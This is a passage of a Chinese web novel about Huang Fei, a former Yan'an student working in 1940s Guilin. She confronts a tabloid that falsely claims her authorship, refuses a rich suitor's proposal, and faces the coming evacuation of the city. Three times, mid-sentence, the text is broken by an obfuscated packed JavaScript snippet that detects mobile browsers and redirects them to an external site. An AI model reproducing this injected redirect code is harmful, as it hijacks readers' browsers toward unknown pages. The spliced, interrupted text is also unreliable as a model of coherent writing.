黄菲约略猜到了是怎样一回事,问胡丽莎要报纸,然而她并没有带在身边,休息时间很短,大家都是轮换吃饭,吃过了饭便又要匆匆回去柜台,黄菲一时间也顾不得查问,午餐结束马上便又回去上班,一直到了晚餐时候,她咬着面包,匆匆来到路边一个报摊,便向小贩询问这份报纸。 报贩见她问这张小报,登时嘻嘻哈哈地笑:“小姐你也要看这张报吗?真是有趣,一个女学生,从延安回来,讲那边的事情呢。这小报往常虽然也卖得好,可是毕竟不像这一回,全都卖空了呢,从前一天下来,总能剩几份,这两天那可是,都卖完了,还有人问我要。幸好小姐你是这个时候来,刚到的晚报,我这里便只剩最后一张,再晚一点就没有了。” 黄菲顾不得和他多说,接过报纸拿了零钱给他,便凑在路灯之下翻看,只见就在头版,赫然的油印大字标题:《昔日延安女学生,今天时髦公司明星,细说中共秘辛》。 不必看内容,单只是看这个题目,黄菲便只觉得脑子里“轰”地一声响,仿佛有炮弹在里面炸开来一般,这说的不是自己又是谁呢?黄菲眼前不住地金星乱闪,过了好一会儿,才稍稍镇定下来,视线沿着那报上的字,一列列往下看,“中共的延安,已经是一个沸腾的汤锅,不断的斗争,对无辜的青年学生进行了残酷的迫害,尤其是女学生,除非她们愿意成为中共官员的夫人,才能够被认为是‘政治上可靠’。笔者本人就是经历了一番九死一生的险恶,最终弃暗投明,回归国民政府治下的桂林……” 黄菲差一点就把报纸扯碎了,脑海中瞬间掠过几天前,那一个在柜台前探问自己的家伙,她急促地喘着气,只觉得一颗心乱跳,差一点就要跳出腔子之外,耳朵都开始嗡嗡响,胸中气血翻涌,烧得胸口滚烫。 当天的晚班,她勉强支撑着站完了柜台,晚上回到家中,顾不得洗漱,提起笔来就写了一封措辞严厉的信,预备送去那家小报。 封好了信皮,黄菲定下心来想了一想,终于又写了一份声明,信封里夹了两张钞票,投到了《广西日报》,这是当今广西最大的报纸,声明上写的是,自己从没有为任何报纸杂志写过延安的生活,也没有应允任何人为自己代笔,但凡影射是自己的手笔,一律是虚假,希望对方立刻改悔,否则将诉诸法律。 当夜黄菲整晚都不能安睡,在床上辗转反侧地失眠,许多往事翻腾在胸中,她的一颗心一会儿沸腾激动,一会儿又是失望沮丧,一直到接近天明的时候,才迷糊了过去,然而不多久就要爬起床,赶着去公司,无论头脑中有怎样的理念斗争,谋衣食还是眼前最切近的事。 或许是因为黄菲那一封信的口气十分严峻,也可能是担忧广西日报上,声明之中提到的法律告诉,到第三天,小报上的文章果然中断,虽然也并没有致歉的消息,就只是这样无声无息地不再续写,黄菲特意买了这份小报来看过的,见果然没有再写,这才稍稍松了一口气。 她又看《广西日报》,把自己那一份声明反复看了十几次,其实不过是短短一则消息,夹在三大块文章之间,是窄窄的一条,就如同衣裙的镶边,然而对于黄菲,却是格外宝贵的,看过之后,她珍而重之地将这份日报收藏了起来,用油纸包好,就压在小羊皮箱的最底部。 一周之后,“新闻风波”终于开始淡去,黄菲的生活恢复了日常,她的心情也逐渐平静下来。 本以为从此就可以回归宁静的生活,然而终究还是有人会提起往事。 这一天,一个高高个子、淡褐色头发的白人男子来到柜台前,他上下打量了几下黄菲,用英文问道:“Hello, are you Miss Huang?The shoe princess?” 黄菲微微一笑:“I''m Huang Fei. But the shoe princess, I don''t know.” 那个二十七八岁、一身美国军服的男人望着她,认真地说:“Well. I w ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344758|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ant to know, are you really from Yan ''an?” 一听对方提到延安,黄菲的神经登时又绷紧了起来,眼神一闪,带有警惕性地望着他:“I sell shoes here, Sir.” 那人笑了起来:“I''m sorry. I didn''t mean anything by it.My name is James. I am very interested in Yan ''an. Could you tell me something about Yan ''an?” 黄菲仔细看了看James,觉得他的神态很是真诚,并没有敌意的挑衅,也不是轻浮的好奇,于是想了一想,回答道:“Yan ''an, a place full of Puritans.” 延安,一个充满清教徒气息的地方。 虽然读过几页《圣经》,不过黄菲对基督教并没有很深的了解,她之所以头脑灵光一闪,说出了这样一句,是因为当年读《西行漫记》,里面有一句话,说革命的群体总是容易过于禁欲,而禁欲让她联想到了清教徒,她在这里销售皮鞋,有时候与外国人闲谈几句,会谈到宗教,她对于清教徒的理解就是,特别虔诚,特别勤奋,这样的两种特点,恰恰符合于延安的人。 听她这样说,James笑了:“我问过一些人,她们对延安也是这样说。” 然后他又问道:“那么你怎样看待桂林?” 黄菲又想了一下,说道:“这里好像末日天堂,人们抓紧最后的时间享乐,好像没有明天。” James点点头:“有些人是很热情地在抵抗日本,也有一些人确实就是这样。” 桂林啊,在这个国民政府治下的地方,各色人物也是不同的,普通的平民为了生活而奔走,她们是谈不上怎样纵情狂欢的,一些有志向的人则是全心为了抗战,另外也有一些人,整天就只是忙着追求欢乐,看时髦的外国电影,或者中国传统的戏剧,要么就是摆宴席,打牌,出门游玩,人世间各种快活的法子,都给用了个遍,好像没有半点忧愁,唯一的烦恼就是时间流逝太快,总觉得欢快是有点来不及的样子,虽然很是畅快兴奋,然而总觉得带了一点悲伤,仿佛是走上了末路。 而这位Miss Huang,说的就是这一类人。 James又问道:“Miss Huang,你真的在报纸上声明,从没有写过有关延安的事情吗?” 黄菲点了点头:“是的,我讨厌给人利用。” James的眼睛登时一亮,竖起右手的拇指,称赞道:“我虽然不是很能信任延安,但是我钦佩你,你是一个很有勇气的人。” James在政治上,一向是充满怀疑的,当权的人有很多黑暗的方面,不过反对他们的那一派,也让人感觉有些不安,所以他对于当今轰轰烈烈的革命,不是很愿意靠近,James能够认定的只是,日本侵略中国是不对的,因此他作为志愿人员,参加了美国援华航空队。 对于黄菲的去了延安又归来,他也不愿评价什么,他所赞赏的,只是黄菲对曾经的信仰所秉持的忠贞,这也是一种自尊,即使已经做出另外的选择,对于其她人的信念,依然保持尊重,也并没有此时所处的环境所压倒,出卖过去换取现在,黄菲是一个勇敢的人。 而此时在延安,有一个人的心情非常复杂,就是张琴秋,她已经得到了消息,□□激烈的时候,有从延安出走的女同志,在国民党的报纸上写了文章,攻击延安。 是广西人,在桂林的报纸上写文章,她第一个就想起了黄菲,黄菲是她明确知道的,□□开始之后,唯一一个离开延安的桂林同志,当初女大的学生。 对于当初的这些学生,张琴秋是十分珍惜的,虽然年纪相差不很大,但她一直把学生们当成自己的孩子,对年轻的女学生寄予无穷的希望,所以去年听说黄菲走了,她感觉很是怅然,深深遗憾。 哪知如今却听到了这件事,地下工作人员已经把报上的文章剪裁了,送到了延安,自己当时一看,刹那便是极其强烈的愤怒,这可真的是,“勇敢的她们,做了流血的牺牲者;可怜的她们,是军阀刀枪下的冤鬼;懦弱的她们,投降了封建资产阶级;反动的她们,做了敌人底工具”,黄菲为什么要这样做?她可以远离革命,但为什么要背叛革命? 张琴秋的愤怒持续了好一阵,终于稍稍平息,到了这个时候,她头脑一转,忽然想到,能够在报上登文章,说明黄菲已经安全回到了故乡,张琴秋叹了一口气,最起码,她的生命是获得了保全,从这一点来讲,倒是可以让人安慰的。 28. 第二十八章 尖头曼贵妃与康克令西施 第二十八章 尖头曼贵妃与康克令西施 一转眼,又是两个月过去,四月中旬,桂林开始热了起来,千里之外的延安,天气也已是相当温暖。 这一天傍晚,又是有演出,许多人都去看,人山人海,胡瑾挤在人群之中,同其她人一样,伸长了脖颈,往台上看着,正在表演的秧歌剧叫做《夫妻识字》,鲁艺的演员正在活泼响亮地唱着: “黑格隆冬天上 出呀出星星 黑板上写字 放呀么放光明 什么字 放光明 学习 学习二字我认得清……” 是一女一男的对唱。 胡瑾嘴角上扬,笑了起来,自从《兄妹开荒》之后,新的秧歌剧越来越多了,简直让人看都看不过来,其中尤其为大家所喜爱的,就是这一出《夫妻识字》,很是有趣,又配合了边区正在火热开展的识字扫盲运动。 要说这个识字班的事情,自己也是很赞成的,是应该普及一下基本的教育,边区文盲率相当的高,老百姓差不多都是文盲,在自己的家乡浙江,向来号称文教兴盛,江南出才子,也多才女,当然那是说的书香世家,不过普通人之中,耕读传家的也不少,到乡间去,只要不是特别败落的地方,乡民往往能识几个字,然而在边区,这都是不存在的,这是一个极其贫困,极其闭塞的地方,生活艰苦,在艰难的生存挣扎之余,人们对读书并不感兴趣。 台上正往下继续唱着: “识字牌牌好比明灯一盏 牌牌上的字儿我记心间 什么字你记心间 这两个字儿叫生产 你把那生产讲一讲 万般事儿它当先……” 旁边有人热切地议论着: “那个演刘二婆姨的,真是美得太!” “嫽扎咧!”同伴重重点头表示赞成。 “是个女学生。” “听说本来还是个千金小姐。” “啊,大小姐呢!演人家的婆姨,也像模像样,好像米脂的婆姨。” “米脂的婆姨绥德的汉,不用打问不用看。” 胡瑾头脑中倏地掠过台上那个女演员,叫做孙铮的,她的出身来历。 在投奔延安的女学生之中,孙铮很是有名,号称是从“宰相府走出的大小姐”,从清末到民国,家里都有人在政府里当高官,官宦世家,学问积淀也是很深厚的,父亲是前清的举人,孙铮在国民党的地方读过了中学,之后连出国留学都拒绝了,坚决要来延安,如今在鲁艺,是赫赫有名的演员。 这样一个身份背景的女学生,要来演一个陕北婆姨,确实是够不容易的。 然而她表演得相当好,即使在胡瑾这样一个对于艺术很爱挑剔的人眼中,孙铮的角色扮演也是可圈可点,素美、淳朴、健康、明朗,有旺盛的生命力,简直就是一个理想的青年农村妇女。 就在这时,台上的孙铮如同京剧念白一样地说道:“如果有人问我是谁呀?我就是刘二家的婆姨!” 那动作那眼神,还有那腔调,引起了下面观众一阵轰然叫好,掌声响彻半个天空。 胡瑾也笑起来,跟着一起拍手,孙铮真是不一般,把一个陕北婆姨的羞涩与自豪给演活了,而据自己所知,这个去年七月才刚刚来到延安的年轻女孩子,现在并没有结婚,她是怎么样能够揣摩出一个已婚的幸福妇人的感受? 过不多时,这一出短剧结束,台上又换了剧目,《钟万财起家》,胡瑾看了片刻,忽然想到,方才《夫妻识字》的那一句台词,倘若黄菲还在这里,她会怎么说?“参加革命是为了争取独立的人格,如今又成了谁的婆姨。” 想到这里,她赶快摇了摇头,黄菲一去无消息,到现在不知道怎么样了,假如她果真回到了桂林,如今是过着怎样的生活? 此时的黄菲,正在梅林之间数羊,一只羊,两只羊,三只羊…… 与别人数羊的越数越是昏昏欲睡不同,黄菲越是点数数目,就感觉越有精神,如今自己已经有了七只羊,就在这个月,自己的薪水涨到了八十,虽然还没有拿到本月的薪金,然而实在欢喜,得到了经理的加薪通知,便马上去到乡下,买山羊,两只母羊,一只公羊,是去年秋天出生的小山羊,到现在早已断奶,与原本的两只五年龄的山羊相比,是很年轻的羊,最先买来的那两只羊,已经可称中年了,很快就要步入老年。 数了三遍羊,黄菲回到外面公寓,拿了一本书,回到梅林之中,坐在树下,在煤油灯的光亮之中,展开卷册读了起来:“……是时四顾茫然,人鸟俱绝。夜则妖魑举火,烂若繁星,昼则惊风拥沙,散如时雨。……是时四夜五日无一滴沾喉,口腹干焦,几将殒绝,不复能进。” 黄菲放下了书,抬眼望向远处,眼中隐隐似有泪光,玄奘的这一本自传,是当初经过西安时,在大慈恩寺附近买来,那个时候手头真是拮据,一路上售卖梅子和蘑菇,赚得的一点零钱,不够付旅馆费,然而当视线扫到这一本《大慈恩寺三藏法师传》,心不由得一动,便摸出仅有的两张法币,买了下来,之后每当白日里坐在路边卖梅子,便在日头的天然光线下面读这一本书,越读越有一种知己的感觉。 尤其是当读到这一段,玄奘在沙漠里断了水,几乎要干渴而死,黄菲总有一种想要流泪的冲动,实在是刻骨铭心啊,当时自己拄着一根木棒,孤独地行走在黄土高原上,就是这样一种景象,那一幅图卷通过这一段文字,又活生生地展开在自己眼前。 而读到后来,法师意外找到了水源,黄菲感到,简直前世今生啊,玄奘梦见了一个身材长大的神仙,提醒他继续前行,仿佛真的有神灵指引,出乎意料来到泉水边,而自己则是如同梦幻一般,打开了进入梅林的通道。 无论从学识的深厚程度,还是一路取经所需要的毅力顽强,黄菲知道,自己都不能与玄奘法师相比,只是时空相隔千年的两个人,在沙漠绝水这一段经历上,有如此深切的共鸣,很可以称为知音。 次日四月十八号礼拜二,黄菲又是照常上班,到了午间,她正要去吃饭,忽然有人招呼她:“黄小姐,一起去喝杯茶好吗?” 黄菲抬头一看,仿佛认得,她头脑中迅速回想,这才想起,是东妹姐的东主邹先生,在他的旁边,还站着一个三十几岁的男子,穿戴十分堂皇,左手中指上套了一只硕大的蓝宝石戒指,黄金的戒托金光灿灿,两个人都望着自己笑。 黄菲毕竟在这半个交际场一般的地方做得久了,很多事情都熟悉,一看眼前的情形,就是金主访名花,胡丽莎、周曼妮她们都有过这种饭局,一般都是在晚间下班之后,赶快洗净了脸,重新描眉涂口红,收拾得清清爽爽,光鲜亮丽,乘坐了华丽的人力车,有时候甚至是小汽车,一路往顶豪华的酒楼餐馆而去,第二天回来公司,总是喜气洋洋,或者是脖颈手腕上多了金银首饰,或者是身上发散着馥郁的香水气息,那是桂林市场上新出现的进口香水,很贵的。 作为皮鞋柜台的销售明星,黄菲自然也遇到过这样的事情,有人约她吃饭,也有人送她东西,然而她都拒绝了,洁身自好,从不与那些富贵男子有这种暧昧牵连,今天自然也不例外。 于是黄菲便含笑礼貌地回绝道:“抱歉,邹先生,公司有规定,午饭时间只有二十分钟,之后马上就要重新工作的。” 所以自己是带了面饼和酱菜,午间匆匆吃过,就可以马上开工了。 邹先生毫不介意,把手一挥:“没关系,我会和你们经理说,不必担心。你不要多心,你知道我是有太太的,而且我信基督,对家庭忠诚,不会在外面有什么浪漫故事,这一次是我的朋友常先生,想要认识你,你知道,自从那一次小报事件之后,你愈发的有名了,常先生很仰慕你,想要认识你,仅此而已,大家吃个饭,交个朋友,以后如果有需要,可以互相帮忙,人在江湖,总是需要朋友的。” 他身边的那个男子忙说道:“是的,黄小姐,我很敬佩你的骨气,在广西敢说那样的话,是很难得的。” 黄菲与小报记者在百货公司的对话,已经传到了许多人的耳朵里,桂系虽然是军阀,毕竟也是站国民政府这一边,敌对中共,她在这里直斥政府对边区的封锁,是需要相当勇气的。 邹先生在这里卖力劝说,常先生也不住地敲边鼓,黄菲实在难以推脱,只得说道:“那么要快去快回。” 假如是别人,自己才不会理睬,然而这是东妹姐的雇主,假如得罪了他,只怕东妹姐在那边不好过,好容易找到的一个银饭碗呢,三餐之中两餐有肉,早上总能吃到鸡蛋。 所以黄菲只能捏着鼻子答应了,唯一的希望就是赶快回来。 见她同意了,邹先生果然去了经理室,与刘经理说了两句,很快便又出来,三个人上了小卧车,车屁股一路喷着烟,就往酒楼而去,是粤菜,每人一只烤乳鸽,是这家馆子的招牌菜,另外又上了五六盘,桌子上堆得满满当当,正当中一大盘通红的油爆河虾,漓江虾很出名的,黄菲不说话,低头只顾撕乳鸽一丝丝的肉来吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344759|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可是纵然她不想多说话,然而那两个人却一心引着她说话,仿佛是本能地猜得到她感兴趣的话题,谈论的都是政治,国民政府如何如何,延安中共怎样怎样,还有日本、美国,黄菲虽然起初打定了主意不说话,但听到他们议论的都是正经事,便终于抬起头来,慢慢地说了起来,到后来居然侃侃而谈:“延安当然并不完美,可是在旧世界的这一边,也看不到希望,好像一个正在死亡的躯体,前景只有慢慢腐坏。” 邹千里和常桂廷相互对望一眼,笑了起来。 常桂廷笑着对黄菲说道:“黄小姐,你是一个有想法的人,也很勇敢,不过恕我冒昧,似乎缺少中国传统的美感,好像不会羞涩。” 虽然倒是落落大方了,不过总觉得不像女人,如此热衷政治,善于谈论,简直好像个男人。 黄菲登时便想到了米脂的夏春荣,只觉得胸中有一股气形成了旋涡,若是不当场反驳,这一件事于自己,心中是过不去的,黄菲于是脑子急转,想到一个说法,微微笑道:“我想起了《石头记》里,熙凤说的,‘难道必定装蚊子哼哼就是美人了?’” 那两个人登时都仰起了头,大笑起来,邹千里连连点头:“很是很是,美人原本应该是不拘一格的。” 所以要说当今女子的激进,倒也未必是从延安起的头,革命女性都要风风火火,甚至比男人还男人,其实往从前的书里翻翻,曹公笔下的熙凤就是这样的意见,拿腔拿调、扭扭捏捏,往好处说倒也可以是贤良淑德、闺门风范,不过总觉得小家子气,没见过大世面才有这样的做派。 说到这位黄家的三小姐,那可是去过延安,又在桂林城当销售明星的,要让她充作茫然无知、天真浪漫,那怎么可能呢?黄菲这样的人,骨子里是执拗的,不会对人低声下气。 到了这个时候,黄菲感觉这顿饭再吃不下去了,自己确实也已经是吃饱了的,于是便提出要回去公司,邹千里倒是并没有再拖延,很爽快地开车送她回去,他与常桂廷则是准备换个地方继续喝茶。 百货公司门前,看着黄菲走下汽车,关好车门,转身很快地进入公司大门,邹千里眼睛一眨,笑着问自己的朋友:“怎么样,这位尖头曼贵妃?与当年那位康克令西施不一样吧?” 常桂廷点了点头:“更有风骨,这样的人才适合当太太,守得住门户。” 康克令西施谈雪卿,十年前的风云人物,上海滩著名的交际花,黄菲售卖进口皮鞋,谈雪卿卖的是名贵钢笔,后来与豪门公子陈度相恋,谈雪卿有了身孕,到这时,这一场风花雪月的恋情便到了该结束的时候,陈家是不能接纳谈雪卿这样一个出身低微的康克令西施作正妻的,要进入家门,只能当妾,谈雪卿其实也是有傲骨的,坚决不为妾,也不惧怕陈家的权势,两边打了好大一场官司,最后和谈了,从此这一出浪漫戏剧便告终结。 常桂廷曾经评论:“看陈度,就知道贾宝玉是什么样子。” 没有才能,承担不起男人的责任,所以便一副叛逆的姿态,然而处处留情,从金钏到晴雯,每一个情人都如同谈雪卿,满怀了希望,然而终究是一场梦。 而黄菲之所以让人评价更高,是因为她似乎并不想走谈雪卿的老路,黄菲品性高洁,在百货公司一众售货员中是出了名的,无论是谁,举凡约饭或者馈赠物品,她一律拒绝,除了买皮鞋,男人根本没有接近她的机会,仿佛要一生以此为职业,作一个彻底的职业女性,只在社会上做事,不结婚的样子,虽然显得孤介,几乎有些乖僻,不过她的这个不愿依附于人,倒是很值得佩服的。 邹千里端着茶杯,笑着说道:“而且她还读过书,有知识有见解,这样的女子,正是好内助。” 就比如自己的太太白明珠,新式教育出身,读过大学的,确实很能够帮助自己,家事井井有条,外事也能撑住场面,所以邹千里对“女子无才便是德”很是不以为然,无知无识的女人或许更加俯首帖耳,然而缺乏见识,遇事便慌,能帮什么忙?女人不读书往往愚昧,而愚昧或者使人懦弱,也可能导致专断,明明自己不行,偏偏却要管事,而且相当跋扈,那可真让人头疼了。 谈雪卿是并没有读过许多书的,走到这一步,只凭借本能的聪明,黄菲则是接受了一定的教育,她从前读过政府的中学,到了延安之后,又进入学校,虽然中共那边的毕业证书,国府这边不会承认,不过书总不会白读,黄菲是又有知识,又有节操,虽然眼前困厄,在百货公司卖皮鞋,但将来总有出头之日,会有一个好结果等待着她。 29. 第二十九章 无处容身 第二十九章 无处容身 当天的下午,黄菲有机会见到了经理,连忙为中午的事情而表示歉意:“对不起,经理,今天因为我私人的事情,影响了工作。” 刘腾看了看她,不很用心地说了一声:“没什么。” 邹主任啊,大名鼎鼎的,他的家族在桂林举足轻重,先是军队起家,自然而然扩展到政商两界,本公司是做洋货的生意,断不能得罪了管进出口的,所以黄菲陪着出去吃个饭,那就去吧,根本说不到扣薪水的话。 听着黄菲满含歉疚的保证,“绝不会有下一次”,刘腾脑子里想的是:“黄小姐,只怕你这站柜台的职业,很快就要到头了,姓邹的是有家室的人,纳妾你肯定是不肯答应的,那个姓常的可是太太的宝座还空着,先头有老婆的,后来死了,也没有儿女,相当合适的一门婚事。在桂林,这一位可也算是出名的金龟婿,许多姑娘小姐紧盯着的肥肉呢,平心而论挺不错,你虽然还年轻,然而这过往经历也坎坷,到现在很该收山嫁人了,赶快找个安身立命的地方是正经。虽然我曾经以为,你这样一个特立独行的,或者竟然是一众时髦女子中的例外,这冰霜一般的操守许能一直守到最后,那可是太让人刮目相看了,不过你如果这样选择,倒也不错,‘梅花香自苦寒来’了,有一个很能傲人的结局,后半生都安乐无忧了。” 这一天晚间,黄菲回到家中,则是躺在床上好一阵难以入睡,在床上辗转反侧,脑海里回想着白天的事。 自己曾经鄙夷那些一心找金主的同性,多是读过几天书的,懂得几句英文,上班的时候与人眉来眼去,下了班便直奔跳舞场,唯一的志向就是追寻后面几十年的饭碗,可惜了她们学得的那一点知识,都用在了这上面,倒是不如那些不识字的女人,织布种田,还晓得自强自立,纵然是环境逼人,本身终究太过软弱。 可是今天,黄菲想到,自己与那些人究竟有多大的不同呢?说出去倒是好听一些,是为了不连累姐妹,才勉强答应,说起来还是“姐妹意气”,仿佛关云长“屯土山约三事”一般,讲成故事慷慨壮烈的,可是自己到底也是妥协了,哪怕说得再好听,投降就是投降,为了别人而屈从,诚然显得更加高尚一些,可是这也分明显现出,终究有自己抗不过去的事情。 想到这里,黄菲只觉得仿佛有一把刀扎进自己的心窝,她“腾”地一下从床上坐起身,下了床,走到窗边,推开窗子,看着外面夜空中那几点星星,忽然掀动嘴唇,轻轻地唱起来:“我们是妇女先锋,我们是妇女榜样,来自不同的四面八方,在女大亲爱的欢聚一堂。女大是我们的母亲,比母亲更慈祥。女大是我们的太阳,比太阳更光亮。要努力学习革命方法,学习理论武装,学习职业技能,学习道德修养。我们要深入农村工厂,我们要英勇的走上战场,一个个锻炼得如铁似钢,争取民族社会和妇女的解放!” 唱着这支歌,恍惚之中便好像又回到了女子大学,那一段火热的岁月,虽然短暂,却刻骨铭心,终生难以忘记,那是自己一生中最美好的时光,充满了希望,有无穷的力量,只觉得广阔的世界在眼前展开,未来没有什么是不可以做的,如今往事虽然已经过去,然而每当回想起来,头脑中仍然亮起一束光,照亮了面前漆黑的现实。 黄菲右手轻轻地握起拳头,一时的屈从虽然耻辱,但还并不可怕,最可怕的是从内心里完全屈服,认可了这样的社会,还洋洋然自以为得意,自己曾经立下的誓言,虽然到现在已知不能完全坚守,但总有一些是自己还可以坚持的,眼前的这件事,自己无论如何是不能够答应的。 果然如同黄菲推想的那样,从那天之后,常桂廷就时不时来百货公司,进门就直奔皮鞋柜台,每回一双鞋,对面西装柜台的胡丽莎每当这时候,就遥遥地对着黄菲笑。 黄菲实在是脑壳疼,常桂廷毕竟是顾客,自己不好冷面相对的,还得笑脸迎人,与他敷衍,倒是提升了销售额度,可是一想到常桂廷这样殷勤背后的目的,黄菲就一阵头皮发麻。 到了六月初,这一天上午,黄菲在家里休息,忽然间有人拍门,打开门来一看,竟然是常桂廷,想要进来坐坐,黄菲自然是不能应允,如果让他进了门,后面可就麻烦,给人家看到了,传说开来,很难听的,于是黄菲就说:“街上有一家茶楼不错,我们去喝一杯茶吧。” 虽然给一群茶客看到了,也会很觉得诧异,不过毕竟是公共场合,众人眼皮子底下。 常桂廷呲牙一笑:“也好。” 于是两个人便来到了茶楼,这里顶有名的是覃塘毛尖茶,黄菲作为主人,是要主动的,便点了一壶毛尖,还有两碟茶点。 闲聊了几句,茶水送了上来,常桂廷尝了一口,笑道:“果然是好茶,我觉得咱们广西的毛尖,胜过了西湖龙井,龙井虽然鲜,但是偏寡淡,不像贵港的毛尖这样有味。” 黄菲笑着说:“自己家乡的东西,总是更好的。” 两人又天南地北地说了一阵话,常桂廷终于点明了主题,他从西服口袋里取出一个小巧的丝绒盒子,在黄菲面前打开来,里面是一枚钻石戒指,映着窗边的日光,光芒刺人的眼睛,常桂廷将戒指盒放在桌面,笑呵呵地说:“黄小姐,我向你求婚,请你嫁给我吧。” 黄菲瞥了那戒指一眼,深吸一口气,毫不犹豫地说:“抱歉,常先生,我不能答应你。” 常桂廷微微一愣,问道:“为什么呢?黄小姐,我知道你是个有风骨的人,不过和我结婚,并不会委屈了你啊,我虽然并不是很有名望的人,但也有小小的身家,你成为我的太太,就不需要再这样辛辛苦苦做事,半个月才有一天休息,实在很煎熬人,以你的才华,配我的财产,是相当光彩的,像是你这样的人,本来也应该享受这样的生活,可是你为什么不愿意呢?你不要担心,我前面的妻子虽然故去两年了,但我并没有外室,不会有那些乌七八糟的事情要你去应付,家中也没有孩子,我的家业,都是留给你未来的儿女,你前面这一番辛苦,到这时候就是修成正果,很可以安慰的了,你又何苦这样矜持呢?” 黄菲一看,这可是好,原来自己的一番风骨,就是为了这个,古人是“千金买马骨”,常桂廷是“千金买风骨”,确实是比寻常的交际花贵重多了,所以常桂廷对自己倒很是抬举。 这些念头在黄菲脑中倏忽转过,她将丝绒盒子推回给对面的人,平静地说:“常先生,我们的想法有很大的不同,彼此都是不能理解对方的,这件事还是不要再谈了吧,希望我们以后能作‘君子之交’。” 淡淡如水。 然后黄菲将一枚“半圆”的大洋放在桌上,便起身走了出去。 见她毫不留恋地走了,常桂廷的脸登时火辣辣地红,讪讪地将那只盒子收了回来,“啪”地一声盖上盖子,揣回自己的口袋,勉强镇定了一下,又喝了一杯茶,然后站起来也走了,他是要去找自己的好朋友邹千里,好好地抱怨一番。 黄菲快步回到家中,坐在桌边,望着窗外的车水马龙,一时间心潮起伏,好一阵不能平静。 她回想起延安时候,一众女学生怎样的训练都不怕,就怕组织找谈话,但凡一说组织上找谁谈话,第一个就想到是不是要介绍对象,在延安,大家都是一色的灰布军装,这样的灰军装不辨男女,但终究是有男女之分,而且还非常敏感。 那个时候同学们聚在一起议论,说到这种事,便要嘻嘻哈哈,“我和政委说了,我是来延安革命的,不是来找丈夫的”,也有人感觉郁闷,“在家里是父母包办,在这里是组织包办”,于是到了后来,给逼得太紧了,自己便感觉很有些幻灭,所以当初离开延安,虽然痛心,却也并没有太多留恋。 然而到了国统区,看看自己遇到了什么?常桂廷明晃晃就是用他的钱,在诱惑自己,想要收买自己,说得倒是很好听的,“才华配财富”,比从前的“郎才女貌”是高级了一些,仿佛自己是因为才华,才赢得了这样富裕生活的权利,可是无论自己还是常桂廷其实都明白,这就是钱币堆上一朵摇曳的兰花,贵价的花边而已,为主人作美丽高雅的点缀,让滚滚金币有文化气息。 历历往事在黄菲脑中如同电影一般放映过去,越是思量,越是有一种深深的怅惘,国统区金钱当道,苏区革命决定婚姻,两边都容不下爱情。 黄菲拒绝了常桂廷的求婚之后不久,这一天下了班,见到了东妹,东妹一看到她,也顾不得她正在取钥匙开门,一把拉住了她,张开嘴便噼里啪啦说了起来:“幺姐,常先生向你求婚,你没有答应哦,他好烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344760|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恼,那一天到主人家里去说,说了好一阵,当时把我打发开,我送茶水的时候听到两句,主人也很不高兴,说你这是何苦,现在整天给人怀疑是‘通共’,倘若和常先生结婚,肯定能洗脱罪名,他们看到我来了,就不说了。” 黄菲从皮包里取出钥匙,正插进锁眼里,听到了这里,嘴角微微向下一扯,似苦笑也似是冷笑,轻飘飘地说:“我究竟有什么罪呢?” 向往革命是有罪吗?妇女解放是有罪吗?不想依附于男人,是有罪吗?想做一番自己的事业,是有罪吗? 不过在对立的一方看来,这就是罪吧,简直是不必说的,所以自己之于他们,就是要严加提防的,而倘若自己真的成为了常桂廷的太太,对于对方来讲,便真的可以放心了吧,毕竟已经是给装进了笼子里的人,在那黄金的牢笼之中,或者有时也真的会感到沉醉,这充满了麻醉的小小世界,让人头脑麻痹,骨骼酥软,再没有了挣扎抗争的勇气与力量。 这些念头如同电光一般闪过黄菲的脑海,现实中却只是一瞬,东妹根本就没有注意到黄菲那刹那的出神,随着她进了屋子,仍自顾地说着:“幺姐,大家都说,‘焦土抗战’,少不得要走难了哦,太太已经在家里打点,整天和先生说着要走哪里?先生说看看能不能坐飞机去重庆,我和太太说,若是真的那样,把你也带去吧,幺姐,你也一起去重庆吧,日本鬼子总不容易打到那边的吧?我今天是好不容易出来,快快就要回去,太太要我帮手她赶快收拾东西,有些带不走,要藏起来的。” 黄菲刚刚开亮了电灯,正在从暖水瓶往茶杯里倒水,听了这几句话,手便不由得一顿,广西顽强抵抗了这样久,如今日本人终究是要打来桂林了,就在这一阵,各处都在传说着“焦土抗战”,从当局的口风来看,桂林眼看是要保不住了,满城人心惶惶,见面的话题就是逃难,“你走哪里呀?”乱世之中曾有的诡异繁华,到底是要终结了,这反常的妖艳,终究不能长久。 